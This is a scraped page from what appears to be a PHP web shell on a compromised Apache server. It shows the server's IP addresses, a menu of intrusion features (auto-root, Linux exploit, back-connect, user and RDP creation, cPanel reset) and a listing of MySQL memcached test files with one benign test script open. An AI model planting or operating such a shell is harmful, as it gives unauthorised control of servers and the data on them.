Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.217.163.75
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
memcached /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
memc212_2_cols-master.opt
130
B
-rw-r--r--
memc212_2_cols.test
5.86
KB
-rw-r--r--
memc213_2_intcols-master.opt
124
B
-rw-r--r--
memc213_2_intcols.test
12.48
KB
-rw-r--r--
memc214_5_cols-master.opt
124
B
-rw-r--r--
memc214_5_cols.test
5.03
KB
-rw-r--r--
memc215_50_cols-master.opt
124
B
-rw-r--r--
memc215_50_cols.test
8.96
KB
-rw-r--r--
memc216_5_utf8-master.opt
124
B
-rw-r--r--
memc216_5_utf8.test
7.18
KB
-rw-r--r--
memc217_add-master.opt
124
B
-rw-r--r--
memc217_add.test
3.18
KB
-rw-r--r--
memc218_decr-master.opt
124
B
-rw-r--r--
memc218_decr.test
2.55
KB
-rw-r--r--
memc219_delete-master.opt
124
B
-rw-r--r--
memc219_delete.test
4.02
KB
-rw-r--r--
memc220_fkey_1-master.opt
124
B
-rw-r--r--
memc220_fkey_1.test
5.65
KB
-rw-r--r--
memc221_get-master.opt
124
B
-rw-r--r--
memc221_get.test
2.84
KB
-rw-r--r--
memc222_incr-master.opt
124
B
-rw-r--r--
memc222_incr.test
2.49
KB
-rw-r--r--
memc223_index_1-master.opt
124
B
-rw-r--r--
memc223_index_1.test
5.83
KB
-rw-r--r--
memc224_index_2-master.opt
124
B
-rw-r--r--
memc224_index_2.test
7.22
KB
-rw-r--r--
memc225_index_3-master.opt
124
B
-rw-r--r--
memc225_index_3.test
7.5
KB
-rw-r--r--
memc226_index_4-master.opt
124
B
-rw-r--r--
memc226_index_4.test
6.39
KB
-rw-r--r--
memc227_lock-master.opt
124
B
-rw-r--r--
memc227_lock.test
5.96
KB
-rw-r--r--
memc228_mdl_1-master.opt
124
B
-rw-r--r--
memc228_mdl_1.test
5.66
KB
-rw-r--r--
memc229_mdl_2-master.opt
124
B
-rw-r--r--
memc229_mdl_2.test
5.5
KB
-rw-r--r--
memc230_mdl_3-master.opt
124
B
-rw-r--r--
memc230_mdl_3.test
5.57
KB
-rw-r--r--
memc231_mdl_4-master.opt
124
B
-rw-r--r--
memc231_mdl_4.test
5.35
KB
-rw-r--r--
memc232_NULL_cols-master.opt
124
B
-rw-r--r--
memc232_NULL_cols.test
4.12
KB
-rw-r--r--
memc233_option-master.opt
124
B
-rw-r--r--
memc233_option.test
2.4
KB
-rw-r--r--
memc234_r_batch_1-master.opt
165
B
-rw-r--r--
memc234_r_batch_1.test
2.47
KB
-rw-r--r--
memc235_r_batch_2-master.opt
164
B
-rw-r--r--
memc235_r_batch_2.test
2.3
KB
-rw-r--r--
memc236_r_batch_3-master.opt
164
B
-rw-r--r--
memc236_r_batch_3.test
2.3
KB
-rw-r--r--
memc237_sep_1-master.opt
124
B
-rw-r--r--
memc237_sep_1.test
3.11
KB
-rw-r--r--
memc238_sep_2-master.opt
124
B
-rw-r--r--
memc238_sep_2.test
3.04
KB
-rw-r--r--
memc239_sep_3-master.opt
124
B
-rw-r--r--
memc239_sep_3.test
3.06
KB
-rw-r--r--
memc240_sep_4-master.opt
124
B
-rw-r--r--
memc240_sep_4.test
3.48
KB
-rw-r--r--
memc241_replace-master.opt
124
B
-rw-r--r--
memc241_replace.test
3.06
KB
-rw-r--r--
memc242_set-master.opt
124
B
-rw-r--r--
memc242_set.test
2.73
KB
-rw-r--r--
memc243_view-master.opt
124
B
-rw-r--r--
memc243_view.test
5.35
KB
-rw-r--r--
memc244_w_batch_1-master.opt
164
B
-rw-r--r--
memc244_w_batch_1.test
4.95
KB
-rw-r--r--
memc245_w_batch_2-master.opt
165
B
-rw-r--r--
memc245_w_batch_2.test
4.86
KB
-rw-r--r--
memc246_w_batch_3-master.opt
164
B
-rw-r--r--
memc246_w_batch_3.test
4.86
KB
-rw-r--r--
memc247_cache_policy-master.op...
124
B
-rw-r--r--
memc247_cache_policy.test
20.1
KB
-rw-r--r--
memc248_fkey_2-master.opt
124
B
-rw-r--r--
memc248_fkey_2.test
5.18
KB
-rw-r--r--
memc250_container-master.opt
124
B
-rw-r--r--
memc250_container.test
15.58
KB
-rw-r--r--
memc251_w_batch_6-master.opt
216
B
-rw-r--r--
memc251_w_batch_6.test
5.39
KB
-rw-r--r--
memc255_change_containers_and_...
124
B
-rw-r--r--
memc255_change_containers_and_...
2.16
KB
-rw-r--r--
memc261_container_errs-master....
124
B
-rw-r--r--
memc261_container_errs.test
20.33
KB
-rw-r--r--
memc263_r_batch_4-master.opt
164
B
-rw-r--r--
memc263_r_batch_4.test
4.38
KB
-rw-r--r--
memc265_r_batch_5-master.opt
164
B
-rw-r--r--
memc265_r_batch_5.test
4.86
KB
-rw-r--r--
memc266_w_batch_4-master.opt
164
B
-rw-r--r--
memc266_w_batch_4.test
4.7
KB
-rw-r--r--
memc267_w_batch_5-master.opt
204
B
-rw-r--r--
memc267_w_batch_5.test
5.05
KB
-rw-r--r--
memc268_w_batch_7-master.opt
206
B
-rw-r--r--
memc268_w_batch_7.test
5.26
KB
-rw-r--r--
memc269_funcs_1-master.opt
124
B
-rw-r--r--
memc269_funcs_1.test
6.59
KB
-rw-r--r--
memc272_2_tables-master.opt
124
B
-rw-r--r--
memc272_2_tables.test
7.74
KB
-rw-r--r--
memc273_5_tables-master.opt
124
B
-rw-r--r--
memc273_5_tables.test
8.22
KB
-rw-r--r--
memc274_5_tables_uml-master.op...
124
B
-rw-r--r--
memc274_5_tables_uml.test
8.26
KB
-rw-r--r--
memc275_5_tables_index-master....
124
B
-rw-r--r--
memc275_5_tables_index.test
8.36
KB
-rw-r--r--
memc276_1_table-master.opt
124
B
-rw-r--r--
memc276_1_table.test
8.58
KB
-rw-r--r--
memc277_default_table-master.o...
124
B
-rw-r--r--
memc277_default_table.test
11.82
KB
-rw-r--r--
memc278_view-master.opt
124
B
-rw-r--r--
memc278_view.test
9.52
KB
-rw-r--r--
memc280_misc-master.opt
124
B
-rw-r--r--
memc280_misc.test
1.83
KB
-rw-r--r--
memc281_set_utf8-master.opt
124
B
-rw-r--r--
memc281_set_utf8.test
2.46
KB
-rw-r--r--
memc282_time_expire-master.opt
124
B
-rw-r--r--
memc282_time_expire.test
2.39
KB
-rw-r--r--
memc283_misc-master.opt
204
B
-rw-r--r--
memc283_misc.test
1.98
KB
-rw-r--r--
memc284_misc-master.opt
124
B
-rw-r--r--
memc284_misc.test
2.29
KB
-rw-r--r--
memc285_FTWRL-master.opt
191
B
-rw-r--r--
memc285_FTWRL.test
2.48
KB
-rw-r--r--
memc290_read_committed-master....
274
B
-rw-r--r--
memc290_read_committed.test
4.34
KB
-rw-r--r--
memc_297_crash-master.opt
189
B
-rw-r--r--
memc_297_crash.test
2.48
KB
-rw-r--r--
memc_api_disable_rowlock-maste...
119
B
-rw-r--r--
memc_api_disable_rowlock.test
2.47
KB
-rw-r--r--
memc_api_trx_level-master.opt
155
B
-rw-r--r--
memc_api_trx_level.test
1.64
KB
-rw-r--r--
memcached_alter_column-master....
124
B
-rw-r--r--
memcached_alter_column.test
2.29
KB
-rw-r--r--
memcached_virtual_block-master...
130
B
-rw-r--r--
memcached_virtual_block.test
2.45
KB
-rw-r--r--
rpl_memc270_1-master.opt
189
B
-rw-r--r--
rpl_memc270_1-slave.opt
20
B
-rw-r--r--
rpl_memc270_1.test
5.58
KB
-rw-r--r--
rpl_memc271_2-master.opt
191
B
-rw-r--r--
rpl_memc271_2-slave.opt
22
B
-rw-r--r--
rpl_memc271_2.test
5.65
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : memc250_container.test
source include/not_valgrind.inc; source include/have_memcached_plugin.inc; source include/not_windows.inc; source include/have_innodb.inc; --disable_query_log CALL mtr.add_suppression("daemon-memcached-w-batch-size': unsigned"); CALL mtr.add_suppression("Could not obtain server's UPN to be used as target service name"); CALL mtr.add_suppression("InnoDB: Warning: MySQL is trying to drop"); --enable_query_log --enable_connect_log SET @tx_isolation= @@global.tx_isolation; SET GLOBAL TRANSACTION ISOLATION LEVEL READ UNCOMMITTED; # Create the memcached tables --disable_query_log source include/memcache_config.inc; --enable_query_log INSERT INTO cache_policies VALUES("cache_policy", "innodb_only", "innodb_only", "innodb_only", "innodb_only"); INSERT INTO config_options VALUES("separator", "|"); # describe table for memcache INSERT INTO containers VALUES ("desc_t1", "test", "t1", "c1", "c2", "c3", "c4", "c5", "PRIMARY"); USE test; --disable_warnings DROP TABLE IF EXISTS t1; --enable_warnings CREATE TABLE t1 (c1 VARCHAR(32), c2 VARCHAR(1024), c3 INT, c4 BIGINT UNSIGNED, c5 INT, primary key(c1)) ENGINE = INNODB; INSERT INTO t1 VALUES ('D', 'Darmstadt', 0, 0, 0); INSERT INTO t1 VALUES ('B', 'Berlin', 0, 0, 0); INSERT INTO t1 VALUES ('C', 'Cottbus', 0, 0 ,0); INSERT INTO t1 VALUES ('H', 'Hamburg', 0, 0, 0); # Tables must exist before plugin can be started! INSTALL PLUGIN daemon_memcached SONAME 'libmemcached.so'; # The following select is writing all to memcache otherwisw memcache is empty. --sorted_result SELECT c1,c2 FROM t1; SELECT SLEEP(2); perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add E|Essen:\n"; if ($memd->add("E","Essen")) { print "Ok.\n"; } else { print "Error: E|Essen is still existing.\n"; } $memd->disconnect_all; EOF perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add E|Essen:\n"; if ($memd->add("E","Essen")) { print "Ok.\n"; } else { print "Error: E|Essen is still existing.\n"; } $memd->disconnect_all; EOF --sorted_result SELECT c1,c2 FROM t1; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Here the memcached results with E:\n"; $val = $memd->get("E"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF --sorted_result SELECT c1,c2 FROM t1; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Here the memcached results with E,H:\n"; $val = $memd->get("E"); if ($val) { print "$val\n"; } $val = $memd->get("H"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF #---------------------------------------------------------------- # Switch to a different table #---------------------------------------------------------------- # Stop plugin before innodb_memcached configuration UNINSTALL PLUGIN daemon_memcached; use innodb_memcache; DELETE FROM containers; # describe table for memcache INSERT INTO containers VALUES ("desc_t2", "test", "t2", "c1", "c2", "c3", "c4", "c5", "PRIMARY"); USE test; --disable_warnings DROP TABLE IF EXISTS t1; --enable_warnings CREATE TABLE t2 (c1 VARCHAR(32), c2 VARCHAR(1024), c3 INT, c4 BIGINT UNSIGNED, c5 INT, primary key(c1)) ENGINE = INNODB; INSERT INTO t2 VALUES ('D', 't2_Darmstadt', 0, 0, 0); INSERT INTO t2 VALUES ('B', 't2_Berlin', 0, 0, 0); INSERT INTO t2 VALUES ('C', 't2_Cottbus', 0, 0 ,0); INSERT INTO t2 VALUES ('H', 't2_Hamburg', 0, 0, 0); # Tables must exist before plugin can be started! INSTALL PLUGIN daemon_memcached SONAME 'libmemcached.so'; # The following select is writing all to memcache otherwisw memcache is empty. --sorted_result SELECT c1,c2 FROM t2; SELECT SLEEP(2); perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add E|Essen:\n"; if ($memd->add("E","Essen")) { print "Ok.\n"; } else { print "Error: E|Essen is still existing.\n"; } $memd->disconnect_all; EOF perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add E|Essen:\n"; if ($memd->add("E","Essen")) { print "Ok.\n"; } else { print "Error: E|Essen is still existing.\n"; } $memd->disconnect_all; EOF --sorted_result SELECT c1,c2 FROM t2; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Here the memcached results with E:\n"; $val = $memd->get("E"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF --sorted_result SELECT c1,c2 FROM t2; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Here the memcached results with E,H:\n"; $val = $memd->get("E"); if ($val) { print "$val\n"; } $val = $memd->get("H"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF #---------------------------------------------------------------- # Schema name as NULL #---------------------------------------------------------------- # Stop plugin before innodb_memcached configuration UNINSTALL PLUGIN daemon_memcached; use innodb_memcache; DELETE FROM containers; --error 1048 INSERT INTO containers VALUES ("desc_t2", NULL, "t2", "c1", "c2", "c3", "c4", "c5", "PRIMARY"); --error 1048 INSERT INTO containers VALUES ("desc_t2", "test", "t2", NULL, "c2", "c3", "c4", "c5", "PRIMARY"); #---------------------------------------------------------------- # Non-existing Schema #---------------------------------------------------------------- # Stop plugin before innodb_memcached configuration DELETE FROM containers; # describe table for memcache INSERT INTO containers VALUES ("desc_t2", "junk", "t2", "c1", "c2", "c3", "c4", "c5", "PRIMARY"); # even though the plugin can be installed, the initialization will fail INSTALL PLUGIN daemon_memcached SONAME 'libmemcached.so'; SELECT SLEEP(2); perl; use DBI; use Cache::Memcached; print " This will fail, since memcached not initialized \n"; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; $val = $memd->get("E"); if ($val) { print "$val\n"; } $val = $memd->get("H"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF #---------------------------------------------------------------- # Test different column types #---------------------------------------------------------------- # Stop plugin before innodb_memcached configuration UNINSTALL PLUGIN daemon_memcached; DELETE FROM containers; # describe table for memcache INSERT INTO containers VALUES ("desc_t2", "test", "t2", "c1", "c2", "c3", "c4", "c5", "PRIMARY"); USE test; --disable_warnings DROP TABLE IF EXISTS t2; --enable_warnings CREATE TABLE t2 (c1 int, c2 VARCHAR(1024), c3 INT, c4 BIGINT UNSIGNED, c5 INT, primary key(c1)) ENGINE = INNODB; INSERT INTO t2 VALUES (3, 't2_Hamburg', 0, 0, 0); # Tables must exist before plugin can be started! INSTALL PLUGIN daemon_memcached SONAME 'libmemcached.so'; SELECT SLEEP(2); perl; use DBI; use Cache::Memcached; print " This will success, since memcached support int as key \n"; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; $val = $memd->get("3"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF #---------------------------------------------------------------- # Test different column types #---------------------------------------------------------------- use test; --disable_warnings DROP TABLE IF EXISTS t2; --enable_warnings CREATE TABLE t2 (c1 CHAR(10), c2 VARCHAR(1024), c3 INT, c4 INT, c5 INT, primary key(c1)); INSERT INTO t2 VALUES ('H', 't2_Hamburg', 0, 0, 0); UNINSTALL PLUGIN daemon_memcached; INSTALL PLUGIN daemon_memcached SONAME 'libmemcached.so'; SELECT SLEEP(2); perl; use DBI; use Cache::Memcached; print " This will fail, since memcached not initialized \n"; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; $val = $memd->get("H"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF #---------------------------------------------------------------- # Test CAS #---------------------------------------------------------------- # Stop plugin before innodb_memcached configuration UNINSTALL PLUGIN daemon_memcached; use innodb_memcache; DELETE FROM containers; # describe table for memcache INSERT INTO containers VALUES ("desc_t2", "test", "t2", "c1", "c2", "c3", "c4", "c5", "PRIMARY"); USE test; --disable_warnings DROP TABLE IF EXISTS t2; --enable_warnings CREATE TABLE t2 (c1 VARCHAR(32), c2 VARCHAR(1024), c3 INT, c4 BIGINT UNSIGNED, c5 INT, primary key(c1)) ENGINE = INNODB; # Tables must exist before plugin can be started! INSTALL PLUGIN daemon_memcached SONAME 'libmemcached.so'; # The following select is writing all to memcache otherwisw memcache is empty. --sorted_result SELECT c1,c2 FROM t2; SELECT SLEEP(2); perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add E|Essen:\n"; if ($memd->add("E","Essen")) { print "Ok.\n"; } else { print "Error: E|Essen is still existing.\n"; } $memd->disconnect_all; EOF # Notice the cas value is updated --sorted_result SELECT c1, c2, c4 FROM t2; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add G|Gossen:\n"; if ($memd->add("G","Gossen")) { print "Ok.\n"; } else { print "Error: G|Gossen is still existing.\n"; } if ($memd->add("H","Hamburg")) { print "Ok.\n"; } else { print "Error: H|Hamburg is still existing.\n"; } $memd->disconnect_all; EOF --sorted_result SELECT c1,c2, c4 FROM t2; #---------------------------------------------------------------- # Test expiration #---------------------------------------------------------------- --sorted_result SELECT * FROM test.t2; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add B|Berlin expires in 1 seconds:\n"; if ($memd->add("B","Berlin",1)) { print "Ok.\n"; } else { print "Error: B|Berlin is still existing.\n"; } $memd->disconnect_all; EOF select sleep(3); perl; use DBI; use Cache::Memcached; print " Should not find B|Berlin, since it is expired \n"; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; $val = $memd->get("B"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add C|Cottbus, expires 100 seconds:\n"; if ($memd->add("C","Cottbus", 100)) { print "Ok.\n"; } else { print "Error: C|Cottbus is still existing.\n"; } perl; use DBI; use Cache::Memcached; print " Should be able to find C|Cottbus, assume it does not take 100s to get here \n"; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; $val = $memd->get("C"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF # set an expiration to be 60*60*24*30 (seconds in 30 days), it # will be considered as absolute time perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add J|Jilin\n"; if ($memd->add("J","Jilin", 2592001)) { print "Ok.\n"; } else { print "Error: J|Jilin is still existing.\n"; } $memd->disconnect_all; EOF perl; use DBI; use Cache::Memcached; print " Should not find J|Jilin, it should be expired \n"; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; $val = $memd->get("J"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF #---------------------------------------------------------------- # Alter mapped column type #---------------------------------------------------------------- # Stop plugin before innodb_memcached configuration UNINSTALL PLUGIN daemon_memcached; use innodb_memcache; DELETE FROM containers; # describe table for memcache INSERT INTO containers VALUES ("desc_t2", "test", "t2", "c1", "c2", "c3", "c4", "c5", "PRIMARY"); USE test; --disable_warnings DROP TABLE IF EXISTS t2; --enable_warnings CREATE TABLE t2 (c1 VARCHAR(32), c2 VARCHAR(1024), c3 INT, c4 BIGINT UNSIGNED, c5 INT, primary key(c1)) ENGINE = INNODB; INSERT INTO t2 VALUES ('D', 't2_Darmstadt', 0, 0, 0); INSERT INTO t2 VALUES ('B', 't2_Berlin', 0, 0, 0); INSERT INTO t2 VALUES ('C', 't2_Cottbus', 0, 0 ,0); INSERT INTO t2 VALUES ('H', 't2_Hamburg', 0, 0, 0); # Tables must exist before plugin can be started! INSTALL PLUGIN daemon_memcached SONAME 'libmemcached.so'; # The following select is writing all to memcache otherwisw memcache is empty. --sorted_result SELECT c1,c2 FROM t2; SELECT SLEEP(2); perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add E|Essen:\n"; if ($memd->add("E","Essen")) { print "Ok.\n"; } else { print "Error: E|Essen is still existing.\n"; } $memd->disconnect_all; EOF connection default; --disable_query_log --disable_warnings delete from test.t2; alter table test.t2 modify c2 int; select c1, c2 from test.t2; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Add E|Essen:\n"; if ($memd->add("E","Essen")) { print "Ok.\n"; } else { print "Error: E|Essen is still existing.\n"; } $val = $memd->get("B"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF --sorted_result SELECT c1,c2 FROM t2; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Here the memcached results with E:\n"; $val = $memd->get("E"); if ($val) { print "value of E is $val end. \n"; } $memd->disconnect_all; EOF --sorted_result SELECT c1,c2 FROM t2; perl; use DBI; use Cache::Memcached; my $memd = new Cache::Memcached { 'servers' => [ "127.0.0.1:11250" ], 'connect_timeout' => 20, 'select_timeout' => 20 }; print "Here the memcached results with E,H:\n"; $val = $memd->get("E"); if ($val) { print "$val\n"; } $val = $memd->get("H"); if ($val) { print "$val\n"; } $memd->disconnect_all; EOF connection default; UNINSTALL PLUGIN daemon_memcached; --enable_warnings --enable_query_log alter table test.t2 change c2 c_new int; show create table test.t2; # This install will not initialize the table mapping, due to column # type mismatch INSTALL PLUGIN daemon_memcached SONAME 'libmemcached.so'; #---------------------------------------------------------------- DROP TABLE t2; UNINSTALL PLUGIN daemon_memcached; DROP DATABASE innodb_memcache; SET @@global.tx_isolation= @tx_isolation;
Close